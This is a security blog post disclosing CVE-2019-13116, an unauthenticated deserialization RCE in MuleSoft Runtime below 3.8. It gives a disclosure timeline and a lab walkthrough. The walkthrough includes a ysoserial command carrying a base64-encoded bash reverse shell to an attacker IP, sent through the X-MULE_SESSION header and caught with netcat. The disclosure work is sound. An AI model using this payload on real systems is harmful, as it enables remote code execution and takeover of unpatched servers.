MuleSoft Runtime < 3.8 Unauthenticated RCE (CVE-2019-13116)

This blog post details a pre-authentication deserialization exploit in MuleSoft Runtime prior to version 3.8.

During a recent Web Application penetration test, Tevora observed some interesting headers being returned within the application data flow. The headers contained a character sequence that should raise an immediate red flag to pentesters: rO0. This sequence indicates a Java object, which calls for investigation of how this object is used and, more importantly for a pentester, how it is deserialized by the application.

Investigation into the header (X-MULE_SESSION), which presented this object, lead Tevora to the MuleSoft Mule Runtime engine. Tevora discovered this header could be set arbitrarily in a request, and the MuleSoft Runtime would deserialize our user-supplied object. In this instance, the version of MuleSoft Runtime was prior to 3.8, which ships with the vulnerable Apache Commons 3.2.1 component. Versions after MuleSoft Runtime 3.8 ship with Apache Commons 3.2.2, which is not vulnerable to this exploit chain. However, you may find these versions still deserialize untrusted data, even if a well-known vulnerable component isn't available to leverage the deserialization.

MuleSoft offers guidance on this issue, as well as patches for commercial runtime versions; links to these resources may be found at the bottom of this post. However, the guidance is focused on applications built for the MuleSoft platform. Notably, the exploit detailed here affects the MuleSoft Runtime itself, and should work against any application deployed on the platform for which the version is < 3.8 and the Apache Commons Collection is 3.2.1.

Tevora would like to thank MuleSoft for their responsiveness and outstanding communication throughout the disclosure process. In particular, Maximiliano Soler (@maxisoler) demonstrated the professionalism of a top-tier security professional responding to a disclosure. (A feel-good disclosure process is a nice change of news isn't it?) This vulnerability has been assigned CVE-2019-13116.

Disclosure timeline:

  • 20190701 Initial private disclosure
  • 20190715 Response received from MuleSoft
  • 20190716 Issue and disclosure process discussed with MuleSoft
  • 20191016 Issue publicly disclosed

Now let's walk through the exploit

Want to play along? Spin up a VM! (Ubuntu 18.04 was used for this demonstration.)

Download and Extract MuleSoft Runtime < 3.8 (Version 3.5.0 was used for this demonstration)

FE8FDA43-D4B1-485E-951D-FE5F15D30DE0

Start Mule (Running as root for demonstration)

73F50C5F-6D72-448D-99CA-2590DD02C150

Copy the example echo application into the apps folder from the example folder while Mule is running

A1C8183C-7A91-4913-BA39-0E5C3C320C34

Ensure the mule-example-echo application is deployed

296ECCF9-B353-46EF-BA00-F0CF71A9A65E

We're ready to play!

Generate a payload with ysoserial

A simple bash reverse shell will be used in this example.

We base64-encode our reverse shell payload for use in the crafted Java object.

C30C3E6B-66E5-4280-A9A1-48D4AD2C3B17

Then run the following command to generate the full payload – output in base64 for use in our HTTP Request. (Change the payload to match yours from the steps above.)

java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections5 'bash -c
{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljg2LjEyMC80NDMgMD4mMQo=}|{base64,-d}|{bash,-i}' | base64 | tr -d "\n"

Send the payload in an X-MULE_SESSION HTTP header to the application

Note: Although an HTTP 500 Error Response is received, the payload has successfully executed.

EC93CD31-173E-472D-9C4E-A820D1ADE7A7

Catch the reverse shell with a netcat listener

Attacker host: tev0180 (192.168.86.120)
Mule server: ubuntu (172.16.36.165)

2561B2CB-984D-4ADC-984D-6762274A90D2

That's it! Pre-Auth Remote Code Execution via deserialization of a Java object within an HTTP header.

References